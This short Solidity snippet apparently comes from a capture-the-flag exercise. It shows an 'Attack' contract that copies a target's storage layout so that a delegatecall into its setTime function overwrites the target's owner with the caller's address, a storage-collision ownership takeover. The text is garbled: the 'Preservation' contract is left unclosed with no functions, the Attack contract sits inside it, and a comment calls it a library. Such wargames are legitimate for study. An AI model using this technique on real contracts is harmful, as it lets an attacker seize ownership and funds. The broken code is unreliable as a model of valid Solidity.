contract Preservation {
// public library contracts
address public timeZone1Library;
address public timeZone2Library;
address public owner;
uint256 storedTime;
// Simple library contract to set the time
contract Attack {
address public t1;
address public t2;
address public owner;
uint256 storedTime;
function setTime(uint256 _time) public {
owner = msg.sender;
storedTime = _time;
}
}